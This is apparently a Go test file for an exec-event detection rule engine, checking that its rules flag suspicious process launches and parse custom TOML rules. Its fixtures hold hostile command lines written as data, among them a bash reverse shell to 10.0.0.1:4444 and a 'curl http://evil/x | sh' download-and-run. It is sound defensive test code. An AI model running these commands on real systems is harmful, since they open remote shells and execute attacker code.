// SPDX-License-Identifier: GPL-3.0-or-later package events import ( "os" "path/filepath" "reflect" "testing" ) func execEvent(filename string, argv []string, parent string) ExecEvent { return ExecEvent{ PID: 10, PPID: 9, UID: 0, ParentComm: parent, Filename: filename, Argv: argv, } } func TestDefaultExecRulesMatchPythonFixtures(t *testing.T) { engine := DefaultExecRuleEngine() tests := []struct { event ExecEvent sid int }{ {execEvent("/tmp/.x/dropper", nil, "bash"), 100001}, {execEvent("/bin/bash", []string{"-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}, "bash"), 100002}, {execEvent("/usr/bin/python3", []string{"-c", "import socket; socket.socket()"}, "bash"), 100002}, {execEvent("/bin/sh", []string{"-c", "id"}, "nginx"), 100003}, {execEvent("/bin/sh", []string{"-c", "curl http://evil/x | sh"}, "bash"), 100004}, } for _, test := range tests { found := false for _, alert := range engine.Match(test.event) { if alert.SID == test.sid { found = true } } if !found { t.Fatalf("sid %d did not match %#v", test.sid, test.event) } } if alerts := engine.Match(execEvent("/usr/bin/ls", []string{"-la"}, "bash")); len(alerts) != 0 { t.Fatalf("benign command matched: %#v", alerts) } } func TestExecAlertContract(t *testing.T) { event := execEvent("/tmp/x", nil, "bash") alert := DefaultExecRuleEngine().Match(event)[0] if alert.SID != 100001 || alert.Severity != "CRITICAL" || alert.Signature != "exec_rule.fileless-execution" || alert.Key != "exec:100001:10" || !reflect.DeepEqual(alert.PIDs, []int{10}) { t.Fatalf("unexpected alert: %#v", alert) } want := "sid=100001 Program executed from a world-writable directory — pid=10 ppid=9 parent=bash exec=/tmp/x argv=[/tmp/x]" if alert.Detail != want { t.Fatalf("detail mismatch:\n got: %s\nwant: %s", alert.Detail, want) } } func TestExecRuleValidationAndParentExclude(t *testing.T) { if _, err := NewExecRule(ExecRule{SID: 999}); err == nil { t.Fatal("conditionless rule was accepted") } rule, err := NewExecRule(ExecRule{ SID: 1, Severity: "HIGH", Classtype: "test", ExecComms: map[string]bool{"bash": true}, ParentExclude: map[string]bool{"sshd": true}, }) if err != nil { t.Fatal(err) } if !rule.Matches(execEvent("/bin/bash", nil, "cron")) || rule.Matches(execEvent("/bin/bash", nil, "sshd")) { t.Fatal("parent exclusion semantics drifted") } } func TestLoadConfiguredExecRules(t *testing.T) { path := filepath.Join(t.TempDir(), "rules.toml") raw := []byte(` [[exec_rules]] sid = 190001 msg = "Custom interpreter rule" severity = "critical" classtype = "custom-exec" exec_comm = [ "bash", "zsh", ] parent_comm = ["cron"] parent_exclude = ["sshd"] argv_regex = 'danger\s+now' `) if err := os.WriteFile(path, raw, 0o600); err != nil { t.Fatal(err) } engine, err := LoadExecRuleEngine(path) if err != nil { t.Fatal(err) } if got := engine.RuleSIDs(); !reflect.DeepEqual(got, []int{100001, 100002, 100003, 100004, 190001}) { t.Fatalf("unexpected rule catalog: %#v", got) } alerts := engine.Match(execEvent("/bin/bash", []string{"danger", "now"}, "cron")) if len(alerts) != 1 || alerts[0].SID != 190001 || alerts[0].Severity != "CRITICAL" { t.Fatalf("configured rule mismatch: %#v", alerts) } }